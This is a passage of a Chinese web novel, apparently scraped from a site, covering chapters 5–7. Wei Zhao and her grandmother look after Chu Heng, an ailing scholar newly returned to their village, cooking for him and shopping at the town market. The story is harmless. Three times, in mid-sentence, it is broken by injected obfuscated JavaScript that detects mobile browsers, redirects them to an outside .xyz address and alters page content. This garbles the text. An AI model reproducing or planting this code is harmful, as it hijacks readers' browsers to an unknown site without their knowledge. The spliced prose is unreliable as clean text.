一边吃着,樊桂花一边说道:“昭昭,昨天看小恒那里带的粮食不多,还给我们两家人分了不少糕点,他那里肯定不够吃,一会儿从咱家先拿一些粮食给他送过去应应急。” 卫昭应了声:“还叫他晌午来吃饭吗?” 樊桂花想了想:“你先问问吧,要是他愿意来最好,不愿意来的话也不要勉强。” 卫昭应下,吃饭的速度也不由得快了几分。 如今赶上开春,地里的活儿不少,她去给楚恒送东西,家里的活儿就剩奶奶一个人干。 卫昭就着酸辣的萝卜丝吸溜完一碗粥,又啃了一个馒头,便起身去了灶房收拾了一背篓的东西,临出门前跟樊桂花嘱咐道:“地里的活儿不着急干,你别一个人下地,等我回来一块去。” “你奶奶我的身子硬朗着呢,就那点活儿怎么就干不了了?”樊桂花摆摆手催促她,“你赶紧去吧。” 卫昭劝不动,只能加快脚步往楚恒家赶。 “三斤,走了!” 刚把自己的饭盆给舔干净的三斤倏地支棱起头,瞅见小主人走远的身影,赶紧撒开蹄子追了出去,土黄色的狗跑起来一身腱子肉。 跑到卫昭身边,三斤便贴着她的腿转了两圈,卫昭只得伸手呼啦了两下它的狗头,果然,接下来这家伙跑的更起劲儿了。 卫家跟楚家隔了大半个村子,背着背篓走到楚家门前,即使初春还有些冷,卫昭的后背也出了一层毛汗。 楚家的大门紧闭,卫昭敲了敲门,喊道:“楚恒哥,你在家吗?” 三斤紧跟着她的节奏,冲着院门叫唤了两声。 卫昭等了好一会儿,才听到一道由远及近的咳嗽声。 虚弱的声音让她不由得紧张了起来。 而开门后,看到青年比之昨日更显苍白的面容,卫昭更是大惊,她皱眉问道:“楚恒哥,你是不是生病了?” 这副样子跟她以前见过的风寒久了的村里人差不多。 楚恒张了张嘴,凉风一入口,又是一阵咳嗽,他缓了缓,才道:“舟车劳顿,许是有些风寒。” 卫昭也不太懂医理,不过村中有人懂:“村里人有些头疼脑热都去找余爷爷,很多外村人也来找他看病,你老咳嗽也不是个事儿,有空还是找他去看看吧。” 余爷爷本名叫余天光,是上溪村的赤脚大夫。 又想起了什么,卫昭接着说道:“余爷爷还住在北街的最东头,靠近村里田地的那间院子就是他的家。” 楚恒还有些印象,余家也是上溪村的外姓人家,比楚家来此地安家要早许多年,凭着会些医术,很快便在村里扎下了根。 田地里的阡陌小道是孩童放纸鸢的好去处,离田地最近的余家也没少被孩子们光顾,在楚恒的印象中,他应当是进去过的。 “我记得,他家院子里中了好几棵果树。” 卫昭眼睛一亮,面上也带出了笑容:“对!有李子树和枣树,还有一个很大的葡萄架。” 那个葡萄架可是卫昭最羡慕的了,若不是家里不够大,她也想弄一个。 躺在摇椅上,吃着伸手就能摘下来的葡萄,想想她就很羡慕余爷爷的神仙日子。 她眼中的渴望直白白地表露了出来,楚恒看得分明,更觉得她心思简单。 闲聊片刻,被三斤的尾巴甩了几下,卫昭才想起了正事,她将背篓摘下来往前推了推:“奶奶说昨天看你没带多少粮食,先让我从家里拿了些给你应应急,省的你忙不过来。” 楚恒下意识便想拒绝,卫昭才不会给他这个机会,一把又拎起背篓,问他:“这些给你放哪里?” 问完了又似自言自语般自问自答:“昨天厨房也收拾的差不多了,要不还是放厨房吧。” 一旁的三斤早在卫昭重新拎起背篓的那一刻便已经蓄势待发,听到她的话后,立马便冲着楚家窜了进去,楚恒下意识闪身避让,这一下却更方便了卫昭。 虽说闯人家宅院不太好,不过卫昭实在不想跟楚恒二人站在门口客套来客套去了。 以前村中人没少帮衬她家,她拿着东西去感谢,人家的第一反应就跟楚恒刚刚的表情一样,后来她和三斤也算是练出来了,打配合打的十分默契。 冲进院子里的三斤早没了刚刚那“风驰电掣”的身姿,像个门神一样蹲坐在厨房门口,见楚恒看它,它身后的尾巴摇的更欢了。 楚恒的表情有些奇怪,他总觉得自己在这张“狗脸”上看到了一个十分“得意”的笑容。 厨房里的声响让他没能再继续沉浸在三斤的“笑容”里,楚恒走了进去,就见卫昭正一件件的往外掏东西,米、面、油和还带着晨露的几把小青菜,能想得到的都给他备齐了。 不过…… 卫昭放完东西,突然想到了一件事:“楚恒哥,你……会做饭吗?” 也不怪她这么问,村里的庄稼汉子好歹还能做点东西糊弄一下肚皮,不过卫昭去镇里却总听人说读书人不进厨房,所以她一时也把不准楚恒有了粮食后到底能不能做熟了。 这般想着,就听楚恒道:“会些。”幼时,若是课业结束的早,他便会去厨房为娘亲烧火,看得多了,步骤都还记得,如今应当是可以的……吧? 卫昭可没想到他话里隐藏的内容,知道他能做饭,那她的任务就算完成了。 她拎起空荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901511|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡的背篓甩到背上,十分利落地转身往外走,边走边嘱咐:“楚恒哥你多烧些热水喝,好歹咳嗽的没那么厉害,真要撑不住了就去余爷爷家看看,余爷爷家的孙子已经去了镇上医馆给人当学徒去了,他家炮制好的药是不缺的。” 卫昭一念叨就有些停不下来,心里还想着这人对自己的身子真不上心,大早上的不开火做饭就算了,也不烧些热水。 都走出门了,她又突然想起来一件事,指着墙角一块有缝隙的砖头处说道:“那里有一把钥匙,是楚伯伯走之前留给我爹的,我们给放那了,方便隔段时间就过来看看你家的屋子。” 边说着,她又走了过去,把那把钥匙给扒拉了出来,拎着上面挂着的绳子递到了楚恒面前,物归原主。 楚恒有些怔然,接过后又道了声谢:“这些年麻烦你们了。” 卫昭摆了摆手,学她奶奶的话说道:“以咱们两家的交情,这些事不算什么。” 当年他爹和卫家叔叔关系莫逆,他也没少受过远山叔的关照,思及此,楚恒不由得问道:“怎么不见远山叔和婶婶?” 卫昭面上的笑意一僵,缓缓消失不见。 楚恒见此,心中莫名一沉。 就见卫昭抿了抿唇,才道:“三年前咱们这下了一次大雨,引发了泥石流,我爹娘那日有事需要去镇上置办东西,回来的时候正好赶上……就……都去了。” 楚恒握着钥匙的手不由得一紧,他看着面前低着头,下意识用脚尖碾着地面上刚冒芽的小草的姑娘,原来她也…… 这并不是一个好话题,楚恒声音有些涩然地开口:“抱歉,我不知道。” 他在异乡多年未归,更多时候都在为了那一件事身处旋涡,不敢行差踏错一步,每次灾情朝廷都有邸报,他却不知远山叔一家也在其中出了事。 这一刻,楚恒看着卫昭,突然生出一种同命相连的感觉。 不管是卫家还是楚家,都处处与人为善,在这芸芸众生之中偏安一隅,过着平凡又普通的生活,可天灾与人祸,从不曾因为他们是普通人而留情。 楚恒对这世间的憎恶又多了一分。 他亦憎恶自己,父母的至交好友出事,他当时为何不多打探些消息。 他拖着这破败的身子活着还有什么意义。 却不想原本垂着头的卫昭突然抬起头来,面上也扬着一抹笑:“为何道歉?你本来也不知道。” 她两手拉了拉背篓的带子,掂了掂身子,示意楚恒看她:“你看,我现在过得很好。” 年少失怙失恃,她依旧能笑的灿烂。 楚恒就这样看着她的背影,看着一人一狗嬉闹着离开,直至消失不见。 短短的一段交流,让他在这个比他还小的姑娘的身上看到了一股向上的生命力。 他们的命运,相似却又不相同。 5. 病重昏迷 卫昭到家的时候,樊桂花果然已经扛着农具先走了,她只得赶紧收拾利索,扛着自己的锄头追了上去。 这个时间田里的人已经不少了,卫昭一路叫着人走过去。 有婶子还问呢:“昭昭,今儿怎么来这么晚?”这丫头以前来的可早了,又勤快又能干,今天突然来晚了,可不稀奇吗? 卫昭含糊回道:“家里有点活儿没忙完,耽搁了会儿。” 说完便加快脚步往自家田里赶去。 说话的婶子锄着草,跟她丈夫搭话:“昭昭是快出孝期了吧?”卫远山两口子走了差不多有三年了。 她丈夫回忆了一下,“得到夏天吧。” 婶子往昭昭那边瞧了瞧,看人家妮子把锄头挥的虎虎生风,眼里漏出了几分稀罕:“这丫头我是真相中了,又勤快又能干,还孝顺,周围几个村里再也找不出比她好的了。” 男人知道她这是又起了给她娘家侄儿说媒的心思,不耐烦地催她:“你瞧得上有什么用?你想想你家那个大嫂说的是啥话?她看不上昭昭,桂花婶还看不上她家呢!赶紧干活吧,晌午还得回家做饭呢。” 那婶子闻言又继续开始干活,只是手上的力气比之前大了不少,恨不能把地当成她那势利眼儿大嫂的头来锄。 这边的动静卫家祖孙俩是不知道的,地里的麦子都长出来了,同样长出来的还有杂草,两人拿着锄头除草,遇到能吃的野菜就分出来扔到一堆,不能吃的扔另一堆里。 一直干到太阳高升,五脏庙开始打鼓,田里的人才开始收拾东西回家。 卫昭家的田地有五亩良田和一亩荒地,良田是卫家这么多年攒下来的,还有卫昭爹娘还在的时候攒银子置办下来的,荒地是县城鼓励垦荒时,她家当时把离家不远处的一片荒地开垦出来的,也不种粮食,就是种些菜什么的,因为卫昭爹娘是这十里八乡有名的村厨,经常有人家办事请他们去做饭,所以卫昭家对于菜的需求还是比较大的。 如今卫昭虽然继承了她娘的手艺,但是很多人还是看她年纪小不愿意请她去做饭,所以她的生意并不如当初她爹娘在时那么多,用的菜也不多。不过卫昭却没让这块地荒下,每年都种满了瓜果蔬菜,吃不完的就拿去镇上卖,也能给家里增添一项收入。 等麦子地里的草锄干净了,卫昭就要把精力放在侍弄这块菜园子上了。 五亩的地祖孙二人锄了两天。 这两日天气晴好,山中不知冒出了多少新鲜野菜,村子里的人每天都背着空背篓上山,卫昭跟樊桂花打了声招呼,带着三斤也趁着一大早进了山里。 路过村尾,她下意识看了眼楚家的房子,这是她多年来上山养成的习惯。 楚家依旧门户紧闭,也无一丝炊烟,寂静的好似它的主人从未回来过。 卫昭不自觉地蹙起了眉。 她干活的时候听隔壁田里的婶娘伯娘聊天时提到过,她们说楚恒回来好几天了一直没见出过门。 他是不是没去找余爷爷看病? 他不会现在还病着呢吧? 卫昭想上前敲门,不过看了眼尚早的天色,又怕这人是还没起。 三斤蹭了蹭她的腿,似是在疑惑她怎么不走了。 卫昭撸了撸它的脑袋,重新开始上山。 她先去山上,回来的时候若是楚家还没动静,她就去瞧一瞧。 心里装着事,卫昭便没有跑远。附近的野菜都被人挖走了,她也不慌,毕竟她以前可发现过不少“好地方”。 这个时节正是荠菜疯长的时候,卫昭挖了小半天便装了大半背篓,看着量挺多,不过这个菜不怎么出数儿,真想屯够吃的,她还得多来几趟。 意外之喜是她在一段枯木上发现了黑木耳,个大肉多,卫昭一点也没放过。 家里的山货从来不嫌多,毕竟每年晒干的山货也是一笔进项。 忙碌了一个上午,卫昭擦了擦额上的汗,喊回了在山上疯跑的三斤,便背着装满的背篓下山。 路过楚家,这次倒是门户大开,站在门口便能将院子的大半一览无余。 春日的阳光照进空荡的院子里,却莫名带着几分萧瑟。 抱厦下,楚恒靠坐着一把陈木躺椅,手中握着一本书,隔一会儿便翻上一页,整个人愈发的内敛沉静,偶尔以手握拳抵住嘴唇发出的压抑咳嗽声,又让他这副书生样子添了两分病弱。 三斤“汪”了一声,跟院子里的人打招呼。 它自来熟得很,见到熟悉的人家都要叫上两声。 楚恒闻声抬眸,门口站着的是他熟悉的一人一狗,他心中有种果然如此的落定之感。 也对,若不是卫昭,他这里,还能有谁来呢? 于他而言,与世隔绝才应当是他此番回程的归宿。 卫昭见楚恒看到了她,便立刻扬起了一张笑颜,同他打招呼:“楚恒哥,我今日上山摘了许多荠菜,分你一些啊。” 楚恒下意识的拒绝尚未说出口,那边卫昭便直接进门,走到井边,直接倒出了大半野菜。 “我还摘了木耳,不过不多,也还没晒好,等我存够了再给你送些。” 楚恒这几日东想西想,早已默默决定不再麻烦卫家,结果到了卫昭跟前却连个说拒绝的机会都没有,他心中一着急,便又咳起来了。 咳嗽声伴着有些呼吸不过来的喘息声,让卫昭不由得皱起了眉,她四处一张望,便将楚恒放在一旁的茶盏端给他饮下,又仔细打量着他的神色,问道:“你的病怎么看起来好像又严重了?你没去看大夫?” 楚恒好不容易才缓过来,正对上卫昭面上的担忧,他略有些不自在地移开了视线,只漠然地回了一句:“无事。” 他冷淡的语气给了卫昭一种她在多管闲事的感觉。 卫昭有些茫然地眨了眨眼,不明白他的态度怎么突然变了。 察觉到小主人的情绪不对,三斤微弓着身子,冲着楚恒发出了威胁的嗷呜声。 卫昭轻喝了一句:“三斤,不许吓人。” 三斤瞅了瞅小主人,见她一直不赞同地盯着自 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他用袖子胡乱的抹了一把额上的汗,转身便跑到了井边,用瓢子舀了旁边的桶里的水,也不顾凉不凉直接灌下肚。 余天光看不过眼,说他:“早就跟你说过了,不要喝生水,要喝热水,你这小子就是不听,早晚有你肚子疼的时候。” 卫吉祥拍了拍自己的肚子:“余爷爷,我的肚子可没那么娇贵,你灶房里留的凉白开还是给我妹妹喝吧。” 余天光白了他一眼,切了一声:“早晚有你小子好受的。” 一旁的卫昭终于把草药晾好了,便转身进了灶房,不一会儿又端着一碗凉白开出来,站在一旁慢慢的喝着。 余天光啧啧两声,又跟卫吉祥呛呛了起来:“你看看你妹妹,再看看你,你这个糙模样,以后有没有人能看上你都不好说呢。” 他这话一出,对面的卫吉祥竟罕见地露出了几分不好意思的模样,看得他颇为惊奇。 见这小子一副思春的模样,余天光被吓得赶忙问卫昭:“他这是咋了?” 卫昭嘿嘿一笑,凑近余天光,在他耳边悄声道:“我大伯娘要给我吉祥哥定亲啦。” 两家人都已经私底下商量好了,就等着大伯母给吉祥哥攒够聘礼,寻个黄道吉日,喊个媒婆去定亲了。 自从说亲开始,卫吉祥可没少露出这副害羞的模样,最开始他们看的还挺稀奇,毕竟卫吉祥自小就脸皮厚的堪比城墙,哪见过他这副模样啊,可后来就也见怪不怪了,实在是这段时间看得太多了。 余天光闻言先是惊讶,后又笑着隔空点了点卫吉祥:“你这小子,瞒的还挺好,等你成亲了,可得请你余爷爷我喝顿好酒。” 卫吉祥只嘿嘿的笑着,说道:“好说好说,到时候再让昭昭给您单独炒个下酒菜,开个小灶。” 余天光捋了捋下巴上的胡子,往后面的躺椅上一靠,应道:“那我可就等着了。” 直到屋里传来动静,院子里的笑闹声才止住。 楚恒醒了。 6. 豆豉烧鲫鱼 余天光半阖着眸子,捋了捋胡须,心中有数后便收起了脉诊。 楚恒的嘴里泛着药味的苦涩,应当是他昏迷期间被人喂了药,醒来后身体确实是没有之前那么沉重了,他并非不知好歹之人,把脉结束后,便支起身子靠在床上向三人道谢。 余天光无所谓的摆了摆手,没好气的说道:“你这小子,身子本来就不好,又因为长时间赶路发起了高热,结果不看病不吃药就算了,还不好好吃饭,能撑到现在才晕都算你运气好了。” 这么折腾着找死的人,他还是头一次见。 楚恒没有吭声,余天光说的本也没错。若非刚刚一时之间情绪激动以致晕倒,他应当是不会主动看大夫的,与他的病相比,只是一场风寒,治与不治也无甚区别。 倒是一旁立着的卫昭,一脸震惊的看着他。这人不光不去看病,竟然还不好好吃饭? “这孩子,怎么这么不让人省心。” 樊桂花叹了口气说道。 卫昭在一旁默默点头,她奶奶说的没错,楚恒这个人真的是太不让人省心了。 “昭昭啊,咱家之前做的豆豉还有吗?”樊桂花突然问起了别的。 卫昭愣了一下,反应过来后点了点头:“还剩不少呢。” “那中午就做一顿豆豉烧鲫鱼吧,咸香的饭菜,更下饭一些。” “啊?”卫昭挠了挠脑袋,有些莫名:“我中午还打算包顿荠菜鸡蛋馅儿的饺子呢,早上刚摘的荠菜,正鲜着呢。” “那就都做,咱今天吃顿好的。” 行吧,平日里都是有啥就吃啥,难得奶奶开口点菜。“那奶奶你先帮我把荠菜摘出来吧,我去把鱼收拾了。” 这两天她又下了几个笼子,网了小半盆巴掌大的鲫鱼、白条什么的,都还活着呢。只要把鱼处理好了,烧个豆豉鲫鱼还是很快的。 不过在此之前,卫昭先把面活好了醒着。 紧接着又把刀在磨刀石上磨了几下,便开始对着盆子里的鲫鱼开膛破肚,刮鳞去腮。 她这边收拾完了,奶奶那边也把荠菜弄好了,正在开始剁馅呢。 卫昭便磕了几个鸡蛋,点火烧锅,又从油罐子里挖了一勺浅黄色的猪油在锅底化开,等将鸡蛋炒至轻微变色,便弄碎散了,全盛了出来,准备一会儿和荠菜一起调个馅儿。 接着她又将处理好的鲫鱼下锅煎了,鲫鱼肉嫩细小,卫昭便在其处于挺身状态之时将之捞出,放到一旁控油备用。 接着又将准备好的葱、姜、蒜、花椒、大料同她曾经腌制过的黄豆酱以及豆豉一同下锅炒制,加了一些糖提鲜,又淋了一圈黄酒,最后倒入清水成汤。等清汤开始沸腾,便将炸好的鲫鱼放进去,转成小火煨烧。 烧火的时候卫昭也没闲着,和樊桂花一人擀皮一人包,一旁的盖帘上快速地围上了一圈又一圈的饺子。 等汤耗去一半,将鱼鲫鱼盛出装盘,再用原汤上芡。 伴着一道咸鲜味美的豆豉烧鲫鱼出锅,胖嘟嘟的荠菜鸡蛋馅儿饺子也跳进了一旁沸腾的大锅里。 点水三次,再盛出几个用来上供,卫家这顿午饭终于端上了饭桌。 卫昭收拾出家中以前用的食盒,清理干净后便将分出来的一份荠菜鸡蛋馅儿的水饺和一份豆豉烧鲫鱼装了进去,跟奶奶说了声让她先吃着,便提着往山脚去了。 如果说农家做饭是袅袅炊烟的话,那楚恒这里堪称“狼烟四起”。 一整个灶房里,除了烟囱口,没有其他地方是不漏烟的。 他在井边的水桶里浸湿了帕子扑在脸上,沁凉的水汽隔住空中的烟尘,让他干涩的鼻腔和喉咙终于有了一丝缓和的余地。 只是灶房里还有明火未灭,他也只能捂住口鼻准备再次进去。 却被隔着老远看到楚家烟熏火燎,便拎着食盒三步窜一步赶来的卫昭及时拉住了。 手上被塞了个东西,楚恒下意识握住,卫昭把他转了个方向,往前一推:“去一旁呆着,我去弄。” 楚恒全程下意识照做,走了两步才反应过来,想喊人出来,却又是一阵止不住的咳嗽。 怕把手上的食盒撒了,他只能先拿去厦子那放下。 空中满是灰尘烟雾,他又本就有咳症,缓了好久才好,而另一边的卫昭也已经利索地把烟囱通好了。 烟囱通烟了,只是灶房里的烟还得等一会儿才能散干净,而且里面的东西都得重新洗刷一遍才能用,不过这些也不急着弄。 卫昭一边拍打着身上的灰尘一边往井边走,看见水桶里有水,便直接掬了一捧往脸上拍。 可呛死她了。 好几年没见过这么能倒烟的屋子了。 楚恒见此,转身回屋端出了一个木盆,盆上搭着块崭新的布巾,出门的时候又提上了厦子下煨着的小炉子上的水壶。 “用温水吧。” 怪不得她奶奶喜欢他,这架势跟她奶奶可真像。 卫昭心里嘀嘀咕咕,手却极为听话地伸进兑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901513|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了温水的盆子里。 这纯属被她奶奶念叨这么多年后的本能反应。 等把自己收拾利索了,卫昭才有空跟楚恒嘱咐:“下次别往灶堂里堆那么多柴火了,不然烟囱不冒烟。”本来就好多年没用过了,稍微一堵就直接往回倒烟。 楚恒有些尴尬地点点头,表示自己知道了。 他没怎么烧过火,回到村子里至今也只是用一下外面的小炉子简单煮过一些粥和面,第一次烧锅只知道往里面放柴火,结果差点把自己呛死。 卫昭怎么看他这幅读书人的样子都觉得不靠谱,这人真能养活得了自己吗? 本来就身体不好,结果还吃不上饭,卫昭咋看咋觉得她这位儿时的小伙伴在他们村子里够呛能活下去。 这读书人好像也不太好混。 她小心翼翼地提议:“要不……你以后跟我家吃饭?” 然后果不其然被楚恒拒绝了。 她也不在意,横竖她跟她奶奶也不会眼睁睁看着他饿着。卫昭指了指被楚恒提到厦子上的食盒:“里面是我家晌午做的饭,奶奶让我分了一份给你送来,你先吃饭吧。” 已经拒绝过要去她家搭伙吃饭,这人肯定没办法再次拒绝她送来的饭。 果然,楚恒心中犹豫了一番,却还是点头收下了:“多谢。” 见此,卫昭喊上三斤回家,这一天净事儿了,她自己的饭还没吃呢,真快撑不住了。 见她食盒也不要了,楚恒张了张嘴想叫住人,转而一想还是等他收拾好了送过去吧。 食盒是两层的,第一层是满满的一碟饺子,发黄的面皮隐隐透着绿色,荠菜的鲜味很浓,估计这就是卫昭今日一大早出门摘的荠菜。 第二层是一碟子的豆豉烧鲫鱼。 闻着这股熟悉的咸香味道,楚恒蓦然出神,许久,他才拿起筷子,夹了一块鱼肉放入口中。 他细细地嚼着,鱼肉鲜嫩入味,鱼骨也被炖的十分酥软。 在记忆的最深处,幼年时的他曾生过一场病,什么也吃不下,那时做饭总是磕磕绊绊的娘亲为了让他多吃几口饭耗费了不少心神。 后来娘听说豆豉烧鲫鱼能治脾胃虚冷不下食,便专门跑到卫家找桂花奶奶学这道菜,村子里就桂花奶奶做的豆豉最地道,做的豆豉烧鲫鱼最好吃。 后来,娘做的豆豉烧鲫鱼也很好吃。 和现在这道一样好吃。 只是这院子里的烟雾怎么还散不去,熏得人眼睛又酸了。 7. 故友难聚 “楚恒,开门!太阳都晒屁股了,赶紧起床了!” 翌日一大早,卫昭和卫吉祥、卫吉勇两兄弟便出现在了楚恒家门前,三人的叫门声再配上三斤时不时附和的叫声,原本荒寂的村尾顿时热闹非凡。 也幸好楚恒不是个爱睡懒觉的,早就醒了,只是身上懒散,在屋子里待着,不愿意动弹。 橙黄的日出之光还坠在雀儿山的山峰之上,楚恒不太明白这几位一大清早的为什么来找他。 卫昭解释道:“楚恒哥,你不记得了?逢五逢十是咱们春林镇的大集。” 楚恒恍然,他离乡太久,都快忘了这些习俗,年幼时父母做生意,他经常跟着去的。 卫吉祥拍了下他的肩膀:“发什么呆呢?” 楚恒回过神来,不着痕迹地退后了半步,他还是不太习惯与人靠得太近。 卫昭拉了卫吉祥一把,嫌弃道:“吉祥哥,你这老拍人的毛病什么时候能改改。” 卫吉勇跟着点头,作为卫吉祥的亲弟弟,他受他这个臭毛病的毒害最深,从头到脚都被拍过,还下手贼重。 被弟弟妹妹一齐控诉的卫吉祥只得连连点头,保证自己再也不犯了。 虽然他这个保证已经下了无数次了,可是他有时候真是控制不住自己的手啊,脑子还没反应过来呢,手已经拍出去了。 卫昭也是知道他的毛病的,如今也只是想提醒一下脑袋在某些方面有点一根筋的卫吉祥。楚恒多年未回乡,彼此之间并不熟悉,必要的界限还是要有的。 这也只是一段小插曲,说笑几句便过了,卫昭又对楚恒道:“我们准备去镇上买些东西,你想去吗?或者有没有什么需要捎带的?” 楚恒略一沉吟,回家拿出了个装银子的荷包,递给卫昭:“我身体不便,便不跟着耽误你们了,只是家中粮食不多,你们看着置办一些吧,不用太多,适量便好。” 村子离镇上不算太远,大家去赶集大多都是走路去,只是对他这副破败身子来说还是有些难度,前段时间租的马车早就走了,他还是不跟着去添乱了。 “好吧。”卫昭把银子接过来,粗略一摸便知道数量不少,她分出了一半还回去,“这些就够了,咱们镇子里的物价不贵。” 她小心藏好钱袋子,又想起来嘱咐他:“余爷爷给你开的药别忘记喝。” 都交代好了,卫昭三人一狗便迎着朝阳出发了。 他们的背篓里还背着各家冬日里晒的山货,镇子上有家源昌货行,店主姓张,名叫源昌,是个很和气的老板,做的是周边镇子的生意,多是统一收购附近村子里的农家的山货和其他作物,再转手卖去其他地方。 春林镇这边靠山靠河,物产颇多,周围村子里时不时便有人家去他那里做生意。 张老板为人和气又仗义,在镇上很有名气。 春林镇是平川县的一个大镇子,人口不少,集市也很繁华。从进入镇子的岔路口那分出三条街,一条街主卖粮食,一条街卖百货,一条街卖生禽。 卫昭三人直奔百货街,走到源昌货行门口,张源昌正带着家里人收着山货呢。 李荷花远远便看见卫昭几人,忙直起了腰,热情喊道:“昭昭、吉祥、吉勇,怎么这么早就过来啦?” 李荷花是张源昌的妻子,也是这家货行的老板娘。张源昌听到声音,跟着往这边瞧了瞧,笑着挥了挥手,对着他们指了指李荷花,又转回身继续跟身边来卖货的人商讨价格。 源昌货行在春林镇开了多年了,张源昌的爹娘早些年便和卫昭家有些交情。 卫昭三人把背篓卸下,李荷花送走了她那边的客人,便把三人的山货接过去过秤。 卫吉祥和卫吉勇自发地跑去了张源昌那边,给他帮忙。 卫吉祥能说会道,跟着张源昌招呼客人,卫吉勇力气大,扛着过好称的麻袋往库房走。 李荷花“嗐”了一声:“你说你们这几个孩子,这么实诚做什么!” 卫昭嘴甜:“那是叔婶儿对我们好,我们当侄子侄女的应该做的。” 一句话便把李荷花哄的眉开眼笑,她说道:“中午留在婶子家吃完饭再走。” 卫昭麻溜儿地给他们家的东西过称,其实东西来之前都称过了,不过来到货行再重新过一遍称已经是他们从父辈那就守着的老规矩了,不是亲近不亲近的问题,而是做生意就讲究个银货两讫。若一方失了本心,两家人的关系便走不下去了。 听到李荷花说要留饭,她便笑着回了一句:“那我们可真成了连吃带拿了。” 说说笑笑的,便送走了一波客人,忙过这一遭,张源昌才有空跟他们打招呼,又问候了一番家中的老人。 寒暄过后,张源昌转而问起了村中的其他事:“听说前些日子有辆马车去了你们村子?” 卫吉祥笑道:“叔,您这消息可真够灵的。” 张源昌得意地捋了下蓄了没多久的胡子:“那可不?这十里八乡的,就没你张叔我不知道的事。” 卫吉祥:“那您说那坐着马车来的是哪号人物?” 张源昌“啧”了一声,白了他一眼。他要是知道还用问他? 卫吉祥“嘿嘿”一笑,便道:“来的人是我们村早年搬出去的楚家人。” 上溪村就一家姓楚的。 想起他曾经托人在府城打听过的消息,张源昌面上闪过一丝复杂。 当年楚家人疑似遇难的消息还是他传回去的。那时他跟卫昭的爹还特地跑过一趟府城,除了得知确实有过一次山匪抢劫,却被当年一位路过的将军剿灭了,其他的事情他二人并未打听出来,天地茫茫,他跟远山只得无奈返乡。 如今,楚家人竟然回来了吗? 楚云啸那老小子,在城里养尊处优了这么些年,那手打猎的好手艺也不知道生疏了没有。 远山走了,他们几人再也聚不到一处喝酒侃大山了。 叹了口气,张源昌喃喃道:“过几日我也得去村里,问问那老家伙还拉得动弓不。” 闻言,原本还在笑的卫吉祥闭上了嘴,卫昭抿了抿唇,说道:“张叔,楚家就楚恒哥回来了。” 看楚恒那般模样回乡,当年打听到的那场祸事许是真的,只是他们不敢询问。 张源昌一时怔住了。 从小一起长大的好友,成家之后彼此天各一方,如今竟然只剩下他一个了么? 气氛有些沉重,卫昭三人便借机告辞了,出了门,调整好心情,便去了其他街市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901514|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,采买需要的东西。 镇上的集市逢五逢十就有一次,加上村子离镇子也不算太远,是以他们每次采买的东西都不会太多。只是楚恒身体不太方便,家中他们也见过了,并无太多物资储备,所以他们三人这次是来着重给他买东西的。 倒不是不能把自家的东西匀给他,只是从楚恒之前的几番拒绝来看,他是不愿意麻烦别人的,倒不如他们顺道赶集给他捎回去,像他这种不太方便来镇上的,接受起来也容易。 三人的背篓都满了,卫吉祥颠了颠,问道:“昭昭,你还有要买的吗?” 卫昭仔细想了想:米面粮油都买齐了,各色调味品也买了,奶奶嘱咐的粗布料子也买了,家里需要的种子也买齐了。 盘算了一遍,卫昭确定都买好了,便拉着二人去了馄饨摊,要了三碗馄饨,还在另一个摊子上买了几个烤的金黄酥脆的烧饼,一口咬下去全是焦焦的麦香,再配上一口香喷喷的素馄饨,那滋味儿,真是美极了。 三人这是难得的奢侈一把,以前都是赶着回家吃晌午饭的。 毕竟这次出门是她昨日临时起意的,帮楚恒捎带东西也是她提出来的,卫昭拿不了太多东西,主要还得靠卫吉祥这两个壮劳力,怎么说也得犒劳一下他们。 春林镇的物价不贵,加上今天刚卖了东西,手里有点钱,卫吉祥二人也没跟她客气,大不了他拉着吉勇多给大奶奶家干点活嘛! 从小一起长大的兄弟姐妹之间没那么多弯弯绕。 倒是卫昭吃着吃着馄饨,突然灵机一动,问刚招呼完其他桌的客人,准备坐下休息的老板娘:“婶子,最近荠菜正是新鲜的时候,怎么不见你们上些荠菜馅儿的馄饨啊?” 这馄饨馅料估计还是冬日里储藏的白菜。 老板娘“嗐”了一声:“哪儿有时间哦!” 春林镇是个大镇,即使不是赶集的日子,平日里做生意的也不少。她家是近段时间新开的,味道不错,人气是刚刚才积累起来的,所以这馄饨铺子是一日不敢停,食材也只能就近采买。 初春的荠菜正是最鲜嫩的时候,可这东西菜贩子又不卖,他们也离不开摊子去城外自己摘,如今卫昭一提,更是让老板娘觉得自己亏了好大一笔。 菜贩子卖的菜如今正是贵的时候,家里收的白菜也没剩多少了,再不赶紧想办法,素馄饨要是不涨价,那就快要供应不上了。 可大家吃的最多的便是素的馄饨,也是图这种便宜,一旦涨价,她家可得损失一批客人。 